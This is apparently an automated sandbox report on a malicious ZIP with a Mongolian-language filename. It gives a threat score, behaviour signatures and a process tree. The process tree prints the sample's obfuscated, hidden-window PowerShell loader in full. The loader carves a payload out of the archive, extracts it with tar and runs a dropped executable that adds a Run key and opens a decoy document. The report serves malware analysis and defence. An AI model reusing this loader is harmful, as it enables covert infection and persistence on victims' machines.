Resubmissions
09/08/2026, 16:32
260809-t11pps1hne709/08/2026, 15:21
260809-srlzhs1akc709/08/2026, 14:06
260809-repzzasvb1709/08/2026, 14:04
260809-rdcm9asths702/06/2026, 12:38
260602-pt73zsew5q01/06/2026, 01:40
260601-b31hlsdw2p824/04/2026, 07:50
260424-jpbw4acx4q324/04/2026, 07:48
260424-jnl1nscx2m724/04/2026, 07:47
260424-jmtzwsbx6v702/04/2026, 10:54
260402-mzmm5agy3r7Analysis
- user interaction
yes - max time kernel
688s - max time network
694s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
01/06/2026, 01:40
General
- Target ЕС-аас Хөндөж болзошгүй асуудал.zip
- Size 655KB
- Sample260601-b31hlsdw2p
- SHA256 a059d70e4f9095f167bd34ea4dfdab33be8f599907daefbd05f2ba3f2d6302be
Score
8/10
Malware Config
Signatures
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 4 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- UPX packed file 4 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Windows directory 37 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 14 IoCs
- Kills process with taskkill 2 IoCs
- Modifies Internet Explorer settings 1 TTPs 4 IoCs
- Modifies data under HKEY_USERS 3 IoCs
- Modifies registry class 64 IoCs
- NTFS ADS 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 6 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 4 IoCs
- Suspicious behavior: LoadsDriver 3 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 32 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 24 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\Explorer.exeC:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\ЕС-аас Хөндөж болзошгүй асуудал.zip"1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files\7-Zip\7zG.exe"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\" -an -ai#7zMap16204:122:7zEvent244411⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w H ";$dcxtboewo = (ls -Pa $Home -Re -in 'ЕС-аас Х?нд?ж болзошг?и? асуудал.zip')[0].fullname;$nugcjmw = [SyStem.IO.File]::OpenReAd($dcxtboewo); $jpjlvlwrj = NeW-ObjEct byte[] $nugcjmw.Length; $nugcjmw.Read($jpjlvlwrj, 0, $jpjlvlwrj.Length); $nugcjmw.Close();$lwjap='wRi'+'tEAlL'+'bYtEs';$uysqzmr=1164; ;;[SySTem.IO.FIle]::$lwjap($Env:LocalAppdata+'\\rlylgjvgdr.so', $jpjlvlwrj[$uysqzmr..($uysqzmr+669696-1)]); ; TaR -xvf $Env:LocalAppdata\rlylgjvgdr.so -C $Env:LocalAppdata;Sleep -Seconds 4;powershell $Env:LocalAppdata\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe;"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tar.exe"C:\Windows\system32\tar.exe" -xvf C:\Users\Admin\AppData\Local\rlylgjvgdr.so -C C:\Users\Admin\AppData\Local2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe"C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\System32\taskkill.exe" /f /im iediagcmd.exe4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ЕС-аас Хөндөж болзошгүй асуудал.docx" /o ""4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w H ";$dcxtboewo = (ls -Pa $Home -Re -in 'ЕС-аас Х?нд?ж болзошг?и? асуудал.zip')[0].fullname;$nugcjmw = [SyStem.IO.File]::OpenReAd($dcxtboewo); $jpjlvlwrj = NeW-ObjEct byte[] $nugcjmw.Length; $nugcjmw.Read($jpjlvlwrj, 0, $jpjlvlwrj.Length); $nugcjmw.Close();$lwjap='wRi'+'tEAlL'+'bYtEs';$uysqzmr=1164; ;;[SySTem.IO.FIle]::$lwjap($Env:LocalAppdata+'\\rlylgjvgdr.so', $jpjlvlwrj[$uysqzmr..($uysqzmr+669696-1)]); ; TaR -xvf $Env:LocalAppdata\rlylgjvgdr.so -C $Env:LocalAppdata;Sleep -Seconds 4;powershell $Env:LocalAppdata\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe;"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tar.exe"C:\Windows\system32\tar.exe" -xvf C:\Users\Admin\AppData\Local\rlylgjvgdr.so -C C:\Users\Admin\AppData\Local2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe"C:\Users\Admin\AppData\Local\THUAPBYP-BIPG-TWAK-NIVO-UUAWKJMVSHLT\CNMNSST.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\System32\taskkill.exe" /f /im iediagcmd.exe4⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ЕС-аас Хөндөж болзошгүй асуудал.docx" /o ""4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Users\Public\Canon\CNMNSST.exe"C:\Users\Public\Canon\CNMNSST.exe" 28 1181⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Users\Public\Canon\CNMNSST.exe"C:\Users\Public\Canon\CNMNSST.exe" 715 3171⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e4,0x2e8,0x2ec,0x2e0,0x210,0x7ff913a6c188,0x7ff913a6c194,0x7ff913a6c1a02⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1776,i,10886816666376996735,3552153338760772515,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=2224 /prefetch:112⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1640,i,970938074820254504,18028266271536055166,262144 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=2192 /prefetch:22⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2572,i,17959506392415938347,3336650474916347157,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=2580 /prefetch:132⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3516,i,2465741429821965916,1575826497709413385,2097152 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=3588 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3520,i,1707127841832835872,10808343213961281895,2097152 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4244,i,10099233926030052467,9184013411643487078,2097152 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=4348 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4256,i,1398266475241695725,16876707111818136269,2097152 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=4352 /prefetch:92⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4288,i,13235712478988162872,14831316630907263098,2097152 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=4364 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4328,i,17741012668342449663,4958557654241435071,2097152 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=4404 /prefetch:92⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4892,i,2972604922695682175,15920843470785268391,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4924,i,6124735891333881916,12388646258308428759,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5396,i,11740250481365392527,7846553254072039413,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=5364 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4344,i,9178410601693946992,6953540368901683187,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=4864 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6316,i,9725687288353773437,1061406352197494828,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=6320 /prefetch:142⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.execookie_exporter.exe --cookie-json=11243⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6328,i,11231292036153026293,5363624682221749936,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=6344 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6328,i,11231292036153026293,5363624682221749936,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=6344 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6400,i,6015129349655176925,2617144861052359801,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=6424 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6700,i,14835094816982541549,2713590646247995956,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=6704 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6724,i,14503732657996199824,10037878281207917203,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=6680 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6428,i,9378889893497600782,6096703578218315348,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=6740 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6888,i,13901759252844043397,6202990103655528263,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=6736 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=6732,i,4984782844596717463,11283923547259032280,2097152 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=6432 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=5480,i,17319559880003615187,3932668171963576810,2097152 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=6348 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7148,i,18127602813655742358,8115799708181520834,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=3744 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=6396,i,15615421866980725168,2333220493899358315,2097152 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=5168 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4860,i,6397103231114175060,12260199033873557219,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=5100 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5064,i,15531202441387049879,10267195802720012818,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5080,i,18388010771669541449,16656059694612709041,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=7176 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --metrics-shmem-handle=7140,i,4316914022382659988,10485485079026012320,2097152 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=4404 /prefetch:12⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4240,i,2471582308620814270,1498587411671329715,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=7028 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6776,i,1822542671576281202,2382035564655088260,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=4372 /prefetch:142⤵
- NTFS ADS
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4428,i,2870269178633256790,78721434078752952,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=4996 /prefetch:142⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2492,i,13820767084052017620,14569447085058450091,524288 --field-trial-handle=2196,i,883303161658827550,8768825956150713548,262144 --variations-seed-version --mojo-platform-channel-handle=3888 /prefetch:142⤵
-
-
